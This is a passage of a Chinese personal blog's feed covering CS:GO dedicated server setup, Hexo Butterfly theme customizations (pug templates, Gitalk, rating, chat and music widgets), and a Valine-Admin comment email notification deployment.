sv_password玩家加入需要的密码,填入了就会加密你的服务器,只有输入正确的密码才能够进入

sv_setsteamaccount社区服注册秘钥,这个一会会说

调整完了你的配置文件,将文件命名为server.cfg,然后放入上面所说的那个./csgo/cfg文件夹中即可

接着我们就可以着手开启服务器了

开启服务器

关于服务器的开启,根据Steam的官方文档,我们需要安装一个叫做screen的包,使用

1
$ yum install screen

或者

1
$ apt-get install screen

来安装,然后我们就进入到CSGO服务器文件夹的根目录,也就是./steamapps/common/Counter-Strike Global Offensive Beta - Dedicated Server里面,使用

1
$ screen ./srcds_run

就可以开启服务器了,当然后面可以跟一些参数,例如我想关闭VAC验证(避免VAC无法验证您的回话出现而无法加入服务器),那我就在后面加上-insecure即可;或者说我想更改模式,我就可以使用+game_mode 1 +game_type 0来进入竞技模式。

等到最后一行提示GC Connection established for server version xxxx, instance idx 1的时候就是开完了(xxxx是版本号)

根据CSDN@Summer.LICY的反馈,启动时可能会出现Failed to open dedicated.so (libstdc++.so.6: cannot open shared object file: No such file or directory)的情况,这种情况下我们需要使用

1
$ apt-get install libstdc++.so.6

或者

1
$ yum install libstdc++.so.6

来安装这个依赖库

关于模式,这里有一份较详细的表格(来源:Steam Developers官网)

Game Mode game_type game_mode
Casual (default) 0 0
Competitive / Scrimmage 0 1
Wingman 0 2
Arms Race 1 0
Demolition 1 1
Deathmatch 1 2
Custom 3 any (?)
Guardian 4 0
Co-op Strike 4 1
Danger Zone 6 0

注册服务器

当你直接开启服务器后,用connect ip:27015进行连接会提示:仅限局域网连接,这就是没有注册服务器到社区服务器造成的结果。这就需要用到我刚刚所说的sv_setsteamaccount这个配置。

我们访问Steam 社区 :: Steam 游戏服务器帐户管理这个链接,在这里登陆你的Steam账号(一定要没有VAC记录和社区违规记录!!!否则会无法注册)

官方Steam账号要求

然后我们在下面的APPID里面填入730,备忘录按照自己喜好填,主要是用来区分不同的秘钥使用

CSGO社区服务器注册

然后将获得的秘钥放入sv_setsteamaccount内即可,接着启动服务器,连接服务器,发现是不是可以连接了?

Windows搭建方法

其实Windows除了Steamcmd的安装跟linux不一样,其他都是一样的。Windows版的Steamcmd可以在这里下载https://steamcdn-a.akamaihd.net/client/installer/steamcmd.zip

下载完后解压,通过命令行运行steamcmd,其余的方法都跟linux一样,可以从CSGO服务器安装开始看


题外话

我打CSGO是真的菜,讲真……而且CSGO开箱真的开不起,我还是做一名咸鱼玩家吧

不过话说回来我CSGO有狗牌(忠诚徽章)耶,应该是我唯一能炫耀的东西惹……

辣鸡腾讯,QQ里面拦截我的网站,申诉还说我有恶意信息……一会加客服QQ问

]]>
+ + + + + Software + + + + + + + Host + + Software + + CSGO + + GameServer + + + +
+ + + + + hexo-theme-butterfly主题美化小笔记 + + /posts/butterfly-customize/ + +

在正式讲博客的美化之前,我想先感谢@jerryc能够带来这么棒的主题~如果你同样想使用butterfly主题,你可以去查看安装文档

如果你想让我在butterfly中添加新功能,你可以直接在本文章下方留言,我会尽量满足

另:

话不多说,让我们开始吧!

注:写这篇文章的时候我的主题版本是2.1.0


友链界面加入更多的自定义文字

关于友链界面,我加入了很多内容,如A Few Requirements和下面的PS就是我加入的。

更多的内容

之前闲着没事翻了一下主题的layout文件夹,里面的文件都已经命好名了,所以说一看我就知道哪个文件对应哪个部分,而我需要修改的就是flink.pug这个文件

原来它长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.flink
each i in site.data.link
h1= i.class_name
.post-cards
ul.md-links
each item in i.link_list
li.md-links-item
a(href=item.link title=item.name target="_blank")
if theme.lazyload.enable
img.lazyload(data-src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
else
img(src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
.md-links-title= item.name
.md-links-des= item.descr

hr
div
h2= theme.Flink.info_headline
ul
li= theme.Flink.name
li= theme.Flink.address
li= theme.Flink.avatar
li= theme.Flink.info

hr
.comment_int
p.comment-word= theme.Flink.comment

尽管我不是很懂pug这个东西,但是我还是能看懂代码的内容,其中hr就是一条分割线,所以说区块就用分割线来分开就好了。

最开始使用这个主题的时候(当时版本应该是1.2.0,还没有按钮分级),在做友链界面的时候,我这边就有人对我的数字提出了疑问,然后我就加入了下面那行PS:本文所有的数字表示方式来自Mili - world.execute(me);

flink.pug中加入:

1
p(style="font-size:9px;font-weight:bold")= theme.Flink.PS

然后在butterfly的配置文件中加入一行

1
PS: PS:本文所有的数字表示方式来自Mili - world.execute(me); # PS内容,在flink自加的

就可以在友链界面加入自定义的内容了

至于A Few Requirements区块在更新2.1.0后用同样的方式加入的

flink.pug加入:

1
2
3
4
5
6
7
8
9
10
11
hr
div
h2= theme.Flink.require_headline
ul
li= theme.Flink.requirement1
li= theme.Flink.requirement2
li= theme.Flink.requirement3
li= theme.Flink.requirement4
li= theme.Flink.requirement5
li= theme.Flink.requirement6

有多少的requirement就加入多少行,然后在配置文件butterfly.yml用同样的方式加入

1
2
3
4
5
6
7
require_headline: A Few Requirements
requirement1: GamerNoTitle表示不接受商业性网站、下载站、视频站等
requirement2: HTTP和HTTPS均可,不强制性要求小绿锁,但是只有一个IP或者带端口的不接受哦
requirement3: 网站要有维护,定期或不定期均可,线下朋友请忽略这一条
requirement4: 可以先在自己的网站加上我的友链,我处理的速度也会快一些呢~
requirement5: 大佬可以无视上面的要求,并加入“大佬之家”行列
requirement6: 如果你想联系我,在About页面中有我的相关联系方式

就可以了~

友链链接区块加入一行小字

Butterfly忘了哪个版本(我发现的时候是2.3.5)后不再需要此方法!

效果就像图片里面的那样

小字效果图

其实这个也很简单,跟上面一样还是要动flink.pug文件,在最顶上那一块代码中加入一行,将所需的字典名字命名为class_descr,加入后的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.flink
each i in site.data.link
h1= i.class_name
h4= i.class_descr//- 给每个class加入class_descr参数
.post-cards
ul.md-links
each item in i.link_list
li.md-links-item
a(href=item.link title=item.name target="_blank")
if theme.lazyload.enable
img.lazyload(data-src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
else
img(src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
.md-links-title= item.name
.md-links-des= item.descr

然后在link.yml的每一个class中就可以加入descr了,这里以一个区块做例子

1
2
3
4
5
6
7
8
9
10
class2:
class_name: DOS 私人服务
class_descr: 我个人在使用的不同网络服务,在这里列出(^U^)ノ~YO# 这里填入描述
link_list:
1:
name: CloudFlare
link: https://www.cloudflare.com/
avatar: https://dash.cloudflare.com/favicon.ico
descr: 免费的域名托管平台

class_name下面加入一行参数叫class_descr并设定为想要的内容即可,当然你也可以加在link_list的下面,但是请注意缩进要跟class_namelink_list平齐

加入基于Gitalk的动态栏小部件

这个部件最开始是在@火喵的博客看到的,然后就发了邮件问了一下是怎么实现的

感谢@火喵提供的思路~!

然后我参照了Gitalk的文档,用一个非常简单的什么都没有的html文件来装我这个Gitalk,正因为只有Gitalk,所以整个html文档就很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<head>  
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@gitalk-css/css/gitalk-dorcandy.css"><!-- 导入自己修改过后的css文件,参照了火喵的 -->
<script src="https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@gitalk/js/gitalk.min.js"></script><!-- 导入自己修改后的js文件,主要修改了显示的字 -->
</head>
<body>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
id: 'Dynamics',
clientID: 'xxxxxxxxxxxxxxxxxxxx',
clientSecret: 'xxxxxxxxxxxxxxxxxxxxxxxxx',
repo: 'GamerNoTitle.Github.io',
owner: 'GamerNoTitle',
admin: ['GamerNoTitle'],
title: 'Dynamics',
pagerDirection: 'last',
perPage: 5,
})
gitalk.render('gitalk-container')
</script>
</body>

其中,pagerDirection本来是排序的顺序,但是按照Gitalk的issue#210中官方所述,不登录的话排序顺序只能是从旧到新,所以我也没办法,我采取的操作是一个issue中只容纳5条动态,历史动态就放到另外的issue中

将这个html文件命名一下为gitalk.html,然后放在主题目录的source文件夹下,然后进入.\layout\includes\widget文件夹,将card_announcement.pug(公告卡片)复制一份作为模板并且重命名为card_dynamics.pug,然后打开修改里面的内容。原来里面的内容如下

1
2
3
4
5
6
.card-widget.card-announcement
.card-content
.item-headline
i.fa.fa-bullhorn.card-announcement-animation(aria-hidden="true")
span= _p('aside.card_announcement')
.announcement_content= theme.announcement.content

在这里面,span应该是显示的字(如图红框处)

但是我加入的字不在语言配置文件中有,所以直接修改成

1
span= 'Dynamics'

就可以了,接着是要修改图标,作为动态,一个小喇叭的图标显得不是很好看。所以我就访问了Fontawesome@v4.7.0,选择了现在的这个图标

将图标的信息修改为

1
i.fa.fa-quote-right(aria-hidden="true")

图标后面的那串动画就不要了,动画多了也不是很好看

最后需要引入Gitalk.html文件,在下面加入一行

1
include gitalk.html

这样当部署完后,网站就会自动引用根目录下的gitalk.html文件。当然你要是直接访问我的gitalk.html文件也是能打开的

接着我们需要在网站的渲染中加入这个小部件

打开此目录下的index.pug,然后将这个引入加在认为合适的地方,我直接加载了公告的下面

1
2
if theme.aside.card_dynamics
include ./card_dynamics.pug

最后到butterfly.yml文件中,加入小部件的开关

1
2
3
4
5
6
7
8
9
10
aside:
position: right # left or right
card_author: true
card_announcement: true
card_recent_post: true
card_categories: true
card_tags: false
card_archives: true
card_webinfo: true
card_dynamics: true# 动态开关

部署自己的网页,就能够出现这种效果啦!

当然你要是在上面不要if判断,直接加入,那你就不需要在配置文件中加入开关了

Dynamics小部件

2020.4.4更新 主题版本butterfly@2.2.5

为网站加上全局黑白效果

为什么加这个效果呢?我一开始加是2020.4.4为了纪念为抗争新冠肺炎而牺牲的各位烈士们,所以加了全局的黑白效果。先放两张图给你们看看加入后的效果

黑白首页

黑白友链

就是像这样的全局黑白效果,加起来其实也不难,一开始@yuleng给我分享了全局黑白的html代码,告诉我要加就加载header或者是body里面(下面先放html代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- 黑白色 -->
<style>
html{
filter: grayscale( 100%);
-webkit-filter: grayscale( 100%);
-moz-filter: grayscale( 100%);
-ms-filter: grayscale( 100%);
-o-filter: grayscale( 100%);
filter: url( "data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale");
filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);
-webkit-filter: grayscale( 1);
}
</style>

但是我们的butterfly后端是使用的pug文件作为网站样式的编写方式,所以我们要先把它转成pug形式的,转出来就是像下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
html
body
// 黑白色
style.
html{
filter: grayscale( 100%);
-webkit-filter: grayscale( 100%);
-moz-filter: grayscale( 100%);
-ms-filter: grayscale( 100%);
-o-filter: grayscale( 100%);
filter: url( "data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale");
filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);
-webkit-filter: grayscale( 1);
}

然后我把这一串代码存到一个名为blackandwhite.pug的文件,将它放在主题目录下的layout/includes/addons里面,然后就要在layout.pug里面引入文件。在原文件的include ./head.pug下面加入一行来引入我们的文件

1
2
if theme.blackandwhite
include ./addons/blackandwhite.pug

加个if判断是为了下次要使用的时候还能够用,不用再次修改。

接着我们到butterfly.yml文件内加多一行

1
blackandwhite: true

这样就开启了我们的黑白效果

为了方便大家,我将文件放出来blackandwhite.pug,大家只需要将文件放在对应的位置,加上对应的配置项即可!

2020.4.7更新 主题版本butterfly@2.2.5

为文章加上投票评分功能

按照群友的要求,我又来更新啦,这次我们给文章加上投票评分功能,具体的效果像下面那样(Donate按键是主题自带的,不是我加入的)

Rating UI

那么废话不多说,让我们直接开始!(如果你想直接使用我做好的只需要替换id的预设文件,那你可以点击这里直接跳到文档,而不必看我是如何做的)注册一个你自己的账号,注册过程相信我不用说你也会。注册完以后,会把我们导到安装界面,我们选择最右边的Rating widget,获取我们自己的引入代码,等待下一步使用,我这里获取到的引入代码如下(为保证信息准确性,我将自己的id替换成了xxxxx)

首先你得去widgetpack注册一个你自己的账号,注册过程相信我不用说你也会。注册完以后,会把我们导到安装界面,我们选择最右边的Rating widget,获取我们自己的引入代码,等待下一步使用,我这里获取到的引入代码如下(为保证信息准确性,我将自己的id替换成了xxxxx)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<div id="wpac-rating"></div>
<script type="text/javascript">
wpac_init = window.wpac_init || [];
wpac_init.push({widget: 'Rating', id: xxxxx});
(function() {
if ('WIDGETPACK_LOADED' in window) return;
WIDGETPACK_LOADED = true;
var mc = document.createElement('script');
mc.type = 'text/javascript';
mc.async = true;
mc.src = 'https://embed.widgetpack.com/widget.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(mc, s.nextSibling);
})();
</script>
<a href="https://widgetpack.com" class="wpac-cr">Star Rating WIDGET PACK</a>

接着,我们要在对应的地方引用它,但是butterfly是使用pug和stylus的组合来进行渲染的,所以我们要先把上面的这一串代码转成pug形式的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
html
body
#wpac-rating
script(type="text/javascript").
wpac_init = window.wpac_init || [];
wpac_init.push({widget: 'Rating', id: xxxxx});
(function() {
if ('WIDGETPACK_LOADED' in window) return;
WIDGETPACK_LOADED = true;
var mc = document.createElement('script');
mc.type = 'text/javascript';
mc.async = true;
mc.src = 'https://embed.widgetpack.com/widget.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(mc, s.nextSibling);
})();
a.wpac-cr(href="https://widgetpack.com") Star Rating WIDGET PACK

然后将其保存成rating.pug,放到./layout/includes/addons里面去。不过在这代码里面,投票UI不是居中的就让我很不上,而且最后一行有一串a标签,然而我并不是很喜欢它,我将代码改成了下面这个样子(这里把id改成了变量,可以在butterfly.yml里面修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
html
body
#wpac-rating(align="center")
script(type="text/javascript").
wpac_init = window.wpac_init || [];
wpac_init.push({widget: 'Rating', id: !{theme.rating.id}}); //- 这里将xxxxx改成自己的id
(function() {
if ('WIDGETPACK_LOADED' in window) return;
WIDGETPACK_LOADED = true;
var mc = document.createElement('script');
mc.type = 'text/javascript';
mc.async = true;
mc.src = 'https://embed.widgetpack.com/widget.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(mc, s.nextSibling);
})();
//- 下面的那行小字 如果你不需要可以把17~21行注释掉
#copy(align="center")
| Rating addon based on
a(herf="https://widgetpack.com/") widgetpack
| , by
a(href="https://bili33.top") GamerNoTitle

保存完成后,我们进入./layout/post.pug里面对我们的文件进行引入,在合适的位置添加引入代码,我这里是在打上的下面进行了添加

1
2
3
4
5
if theme.reward.enable
!=partial('includes/post/reward', {}, {cache:theme.fragment_cache})
//- 上面是打赏功能,下面是添加的投票功能
if theme.rating.enable
include includes/addons/rating.pug

接着,我们到butterfly.yml里面加入新的配置项

1
2
3
rating:
enable: true
id: 00000

这样就加入了一个开关(不过是全局的),可以控制rating功能是否开启(讲真我觉得这个功能我自己用的很少,我自己应该会关掉)

接着我们就可以部署自己的应用啦,看看是不是可以开始投票了呢?

关于投票的设定,默认是需要社交账号登录的,但是看着这几个图标,又有几个是在国内能够使用的呢?

社交账号登录方式

我们需要更改这个设定,让其不需要社交账号登录也能够进行投票

点开左上角的三条横线,选择Rating,然后点击里面的Setting,在这里面就有我们需要的设置

Rating设置

我们可以看到左边的框选择的是Social,我们可以选择IP address或者Cookies的任意一个,这取决于你要怎么计算你的文章投票,如果选择IP的话,那么同公网IP下的一个人进行了投票,剩下的人就不能够投票了(会怎么点都没反应);选择Cookie的话,可能会存在刷票的问题(因为cookie是可以清理的,但是谁这么无聊呢?)

至于右边,可以选择星星的颜色,我这里选择的是淡蓝色;你还可以设置星星上限,默认是5星满分,你可以把它改成你想要的数字,而另一个输入框是设定星星的大小,取决于你自己的审美吧

最终效果图

评分预设文档使用

首先你需要点击这里下载预设文件

在这文档里面,你需要修改的是id。如何获取id,你可以查看下面这张图片

获取自己的应用id

把文件放入./layout/includes/addons(若不存在则自己建立文件夹)

打开自己的butterfly.yml文件,在任意一行加入以下内容:

1
2
3
4
# 投票评分功能
rating:
enable: true
id: 00000# 请改成你自己的ID

然后去到./layout/post.pug里面,在你想要加入投票功能的位置加入以下代码(推荐加载打赏即reward后面)

1
2
if theme.rating.enable
include includes/addons/rating.pug

然后对网站进行部署即可!

2020.4.5更新 主题版本butterfly@2.2.5

为网站加入实时对话功能

Butterfly@3.0.0-rc1以后自带此功能

与其说是实时对话,怎么感觉像客服系统?(某群友想弄然后我先给搞出来了,接着他自己在我发文前弄好了)这次使用的是Daovoice,照例我们先上一张效果图(如果想直接使用预设文档的话你可以点这里)(注:本站未开启此功能)

按钮效果图

展开效果图

是不是很像客服系统?然而你就是可以把它玩成聊天软件,话不多说,让我们开始吧!

首先我们需要在Daovoice上面注册一个账号,添加我们自己的应用。添加完了以后,daocloud会给我们一些代码,需要我们加入到head中,并使用script调用才能出现右下角的那个按钮对话按钮

新办法

这里感谢@GarveyZhong提供的新方法思路

预设文档点这里

我们先把daovoice给我们的两串代码整合一下

1
2
3
4
5
6
7
<script>
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")
daovoice('init', {
app_id: "xxxxxxxx"
});
daovoice('update');
</script>

接着把它转成pug形式(这里已经将appid作为一个变量,感谢@青苏告诉我pug变量的正确写法)

1
2
3
4
5
6
7
8
html
body
script.
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/!{theme.daovoice.appid}.js","daovoice")
daovoice('init', {
app_id: "!{theme.daovoice.appid}",
});
daovoice('update');

然后将这串代码保存到./layout/includes/addons/daovoice.pug

然后我们打开./layout/index.pug文件,在里面加入以下内容

1
2
if theme.daovoice.enable
include includes/addons/daovoice.pug

然后我们再打开butterfly.yml,在里面加入以下内容

1
2
3
4
# Daovoice实时客服功能
daovoice:
enable: true
appid: xxxxxxxx

接着保存,部署,发现右下角的按钮出来了吧~

实时对话预设文档使用

先点击这个链接下载预设文档→daovoice.pug

将文件放入./layout/includes/addons文件夹内,接着打开./layout/index.pug,在里面加入以下内容

1
2
if theme.daovoice.enable
include includes/addons/daovoice.pug

然后打开butterfly.yml,加入以下内容

1
2
3
4
# Daovoice实时客服功能
daovoice:
enable: true
appid: xxxxxxxx

接着部署即可!

旧办法

Daocloud提供给我的代码是下面这样的,正常来说除了那个js的名字不一样其他都是一样的(这里的js名字为了保证隐私安全我用了xxxxxxxx代替)

1
<script>(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")</script>

按照思路,首先我们需要把daovoice提供的代码都转换成pug形式,转换后就像下面这样

1
2
3
4
html
body
script.
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")

接着我们把这串代码放到daovoice-head.pug文件中,并把这个文件放到./layout/includes/addons里面(没有这个文件夹可以自己建立,也可以把我下面教程中的路径替换成你自己的),接着,我们打开./layout/includes/head.pug里面,加入以下代码

1
2
if theme.daovoice.enable//- 如果你不想在butterfly.yml中加入开关,想直接引入的话可以不用这一行
include ./addons/daovoice-head.pug

在head.pug中加入代码

这样,head的引入就完成了

剩下的工作就是用一个script调用这个功能。根据daovoice提供给我们的代码(然而并没有把<script></script>加进去,差评哼)

1
2
3
4
daovoice('init', {
app_id: "xxxxxxxx"
});
daovoice('update');

我们需要给它的头和尾加入手动加入<script></script>才能正确调用,所以加了以后就是

1
2
3
4
5
6
<script>
daovoice('init', {
app_id: "xxxxxxxx"
});
daovoice('update');
</script>

接着仍然要把它转成pug文件,转出来以后就是这样

1
2
3
4
5
6
7
html
body
script.
daovoice('init', {
app_id: "xxxxxxxx",
});
daovoice('update');

然后我们把这串代码保存到一个名为daocloud-anonymous.pug的文件,放到./layout/includes/addons里面,接着我们打开./layout/index.pug文件,在里面加入以下内容

1
2
if theme.daovoice.enable//- 这里同样,不需要的话可以删掉
include includes/addons/daovoice-anonymous.pug

在index.pug中加入代码

然后保存,到butterfly.yml里面在任意一个位置加入以下内容

1
2
daovoice:
enable: true

加入完成后保存,开始部署本地调试,看看右下角是不是多了一个小按钮啦?(按钮的样式需要在Daovoice后台更改)

旧办法实时对话预设文档使用

首先,你还是需要一个Daovoice账号,注册完了以后,点击下面的链接下载所需要的两个文件

Daovoice的Head预设文件 | Daovoice的调用Script

然后打开下载的daovoice-head.pug,在里面的第四行,把链接中的8个x改成你自己的应用id

1
2
3
4
html
body
script.
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")

打开下载的daovoice-anonymous.pug文件,同样将里面的app_id改为自己的应用id

1
2
3
4
5
6
7
html
body
script.
daovoice('init', {
app_id: "xxxxxxxx",
});
daovoice('update');

保存,把这两个文件放进./layout/includes/addons里面

接着打开./layout/includes/head.pug文件,在里面加入引入代码如下图

1
2
if theme.daovoice.enable
include ./addons/daovoice-head.pug

在head.pug中加入代码

保存,打开./layout/index.pug,在里面加入引入代码如下图

1
2
if theme.daovoice.enable
include includes/addons/daovoice-anonymous.pug

在index.pug中加入代码

保存,打开butterfly.yml,在任意一行加入以下内容

1
2
3
# Daovoice实时客服功能
daovoice:
enable: true

然后保存即可!

加入音乐小部件

Butterfly@dev-pjax分支不推荐

这里有两种做法,Aplayer方法和网易云自带播放器的方法,请根据自己的需要进行修改,预览图在每个方法的开头就有

Aplayer法

Aplayer是一个音乐播放器,官方文档在这里,这里我着重讲怎么添加,而不是aplayer的用法(已经配置好的文件在下面,可以直接下载使用)

首先,按照我的个人习惯,在layout/includes/addons文件夹里面复制粘贴一个layout/includes/widget/card_announcement.pug的副本,修改一下里面的内容,把公告的内容删掉,改成了下面这个样子

1
2
3
4
5
.card-widget.card-aplayer
.card-content
.item-headline
i.fa.fa-music(aria-hidden="true")
span= _p('Music')

接着,就要开始调用Aplayer了,按照官方的做法,我们要调用一个js和一个css文件,这里我保存了一份副本,并且修改了一下css,把进度条和循环按钮隐藏了,上传到github,通过jsdelivr调用

因为我们是内嵌一个html网页,所以我们这里要先用html写法写完,然后转成pug

1
2
3
4
5
html
body
link(rel="stylesheet" href="https://cdn.bili33.top/gh/Vikutorika/assets@master/css/APlayer.min.css")//- 引用修改的CSS
#aplayer//- 相当于<div>
script(src="https://cdn.bili33.top/gh/Vikutorika/assets@master/js/APlayer.min.js")//- 引用js文件

然后我们要给aplayer一些我们要放的音乐的信息,这里的写法是用<script></script>来赋值,至于怎么写请看官方文档,写好后记得转换成pug,下面我放出我的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
script.
const ap = new APlayer({
container: document.getElementById('aplayer'),
audio: [{
name: 'world.execute (me) ;',
artist: 'Mili',
url: 'https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@world.execute(me)/audio/Mili%20-%20world.execute%20(me)%20;.mp3',
cover: 'https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@world.execute(me)/img/Album/Miracle Milk.jpg',
theme: "#8e8cd8",
lrc: "https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@Github-Basic/lrc/world.execute (me) %3B.txt"
}]
});

通过const给Aplayer一些信息,让它能够播放我们的音乐

接着打开layout/includes/widget/index.pug在你认为合适的地方添加(注意缩进)

1
2
if theme.aside.card_aplayer
include ../addons/card_aplayer.pug

然后我们打开butterfly.yml,在aside的侧边栏显示设置里面添加

1
2
3
card_webinfo: true
# 上面是原来就有的
card_aplayer: true# 添加个开关,可以控制打开关闭

然后就可以啦!

预设文档使用

首先先下载预设文档,放到主题目录下的layout/includes/addons文件夹内(如果不存在请自己创建)

打开文件,修改里面的变量,关于变量请查看官方文档

修改完后保存,打开layout/includes/widget/index.pug,在你认为合适的位置加上以下内容(注意缩进)

1
2
if theme.aside.card_aplayer
include ../addons/card_aplayer.pug

打开butterfly.yml,在aside的侧边栏设置加入以下内容

1
2
3
card_webinfo: true
# 上面是原来就有的
card_aplayer: true# 添加个开关,可以控制打开关闭

然后保存即可!

网易云音乐官方部件法

成果图

我们先打开网易云的一首歌,点击生成外联播放器,要求是这首歌不需要VIP进行下载,否则会二话不说给你弹出下面这个窗

版 权 保 护

正常情况下,会给你打开外联播放器的生成页面,在下面选择合适的参数,其中宽度我稍微试了一下,推荐为230,太小会观感体验不好,太大会直接超出框,设定好宽度我们就复制代码(宽度也可以直接在width=后面进行修改哦)

外链播放器生成页面

↑我这里选择的音乐

然后我们复制一份butterfly/layout/includes/widget文件夹里面的card_announcement.pug文件(主要是因为公告是最好进行修改的东西了) ,改名为card_music.pug,把里面改成以下内容

1
2
3
4
5
6
.card-widget.music
.card-content
.item-headline
i.fa.fa-music(aria-hidden="true")
span= _p('Music')
|

然后在|那一行,把你刚刚获得的网易云链接放进去(保留前面的|

然后保存,接着我们打开同目录下的index.pug

在里面你认为合适的位置加上以下内容

1
2
if theme.aside.card_music
include ./card_music.pug

如果你不需要开关可以不加if判断

接着打开butterfly.yml文件,在aside设置中加上一行

1
card_music: true

如果想关掉的时候设置成false即可

这样我们就成功把网易云的音乐加入自己的侧边小部件了!

不定期更新

]]>
+ + + + + Tech + + + + + + + Tech + + Customize + + Theme + + + +
+ + + + + Valine-Admin博客评论邮件提醒系统部署 + + /posts/Valine-Admin/ + +

PS

本篇内容为博主以前已经完成的事件的记录,并非完成后立即写的文章

前提

本篇内容以已经成功部署Valine作为评论系统为前提,如果还未部署,请参考官方文档


本网站一直在使用Valine作为评论系统,之前一直在想:wordpress里面的评论有邮件提醒功能,Valine能不能实现这种功能呢?于是我就到Google去搜索,然后发现了Valine-Admin这个项目

首先我们打开我们的Leancloud,进入我们的应用(我这里使用的是国际版,至于为什么选用国际版,有那么一丁点的原因的)

如图,点击云引擎-设置,然后将Valine-Admin的HTTPS仓库链接贴进去,链接如下:https://github.com/DesertsP/Valine-Admin.git

云引擎贴入仓库地址

请注意,不要使用SSH链接,会因为没有权限而部署失败!

SSH链接部署失败

部署完后,我们需要按照教程配置我们的环境变量

下面是必填项(从官方教程搬过来的表格):

变量示例说明
SITE_NAMEDeserts[必填]博客名称
SITE_URLhttps://panjunwen.com[必填]首页地址
SMTP_SERVICEQQ[新版支持]邮件服务提供商,支持 QQ、163、126、Gmail 以及 更多
SMTP_USERxxxxxx@qq.com[必填]SMTP登录用户
SMTP_PASSccxxxxxxxxch[必填]SMTP登录密码(QQ邮箱需要获取独立密码)
SENDER_NAMEDeserts[必填]发件人
SENDER_EMAILxxxxxx@qq.com[必填]发件邮箱
ADMIN_URLhttps://xxx.leanapp.cn/[建议]Web主机二级域名,用于自动唤醒
BLOGGER_EMAILxxxxx@gmail.com[可选]博主通知收件地址,默认使用SENDER_EMAIL
AKISMET_KEYxxxxxxxxxxxx[可选]Akismet Key 用于垃圾评论检测,设为MANUAL_REVIEW开启人工审核,留空不使用反垃圾

变量设置完成后,需要到下面Web主机域名框填写自己的后台管理面板的域名

管理面板域名填写

填写完后我们输入自己填写的域名就可以进入后台界面了,第一次进入会要求创建账户

如果直接是登录界面请先删除_User表中的所有数据!!!

登录界面应该长这样

评论后台管理面板登录

云引擎的其他相关配置我在这里不多说,可以去看官方教程,另外,关于博主的通知邮件,我在Rainbow模板上修改了一点,效果是这样的

博主通知邮件模板

1
